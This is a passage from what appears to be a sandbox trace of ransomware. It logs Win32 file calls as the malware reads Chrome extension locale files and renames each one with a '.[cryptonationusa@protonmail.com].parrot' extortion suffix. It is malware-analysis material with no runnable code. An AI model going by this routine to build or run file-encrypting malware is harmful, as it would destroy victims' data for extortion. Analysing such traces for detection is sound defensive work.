data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.574] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.574] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8be2cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8be2cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82717aa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8bbcb60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827216e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827216e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827216e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82723df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.576] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.576] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.576] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.577] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.577] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2c4, lpOverlapped=0x0) returned 1 [0072.578] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.578] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.578] CloseHandle (hObject=0x28c) returned 1 [0072.579] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.581] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8be2cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8be2cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.582] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827216e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82723df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8be2cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.583] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.583] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8272da30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.583] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.583] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.583] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8272da30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.584] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c5, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.584] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.584] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.585] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.586] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3ad, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3ad, lpOverlapped=0x0) returned 1 [0072.587] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.587] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.587] CloseHandle (hObject=0x28c) returned 1 [0072.588] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.590] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.590] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8c08e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8c08e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.591] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8272da30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8c08e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.591] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.592] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.592] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827439c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827439c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.592] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.592] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.592] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827439c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827460d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.592] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x391, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.592] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.592] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.627] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.628] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x279, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x279, lpOverlapped=0x0) returned 1 [0072.629] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.629] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x391, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.629] CloseHandle (hObject=0x28c) returned 1 [0072.630] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.634] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.634] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8c550e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8c550e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.636] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827439c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827460d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8c550e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x398, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.636] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.636] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.636] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274d600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8274d600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.637] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.637] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.637] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8274d600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274fd10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.640] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3de, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.640] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.640] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.642] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.642] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2c6, lpOverlapped=0x0) returned 1 [0072.643] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.644] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.644] CloseHandle (hObject=0x28c) returned 1 [0072.644] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.649] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.649] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8c7b240, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8c7b240, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.651] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8274d600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274fd10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8c7b240, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.651] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.651] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.651] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82752420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.651] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.651] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.651] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.652] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x381, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.652] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.652] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.654] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 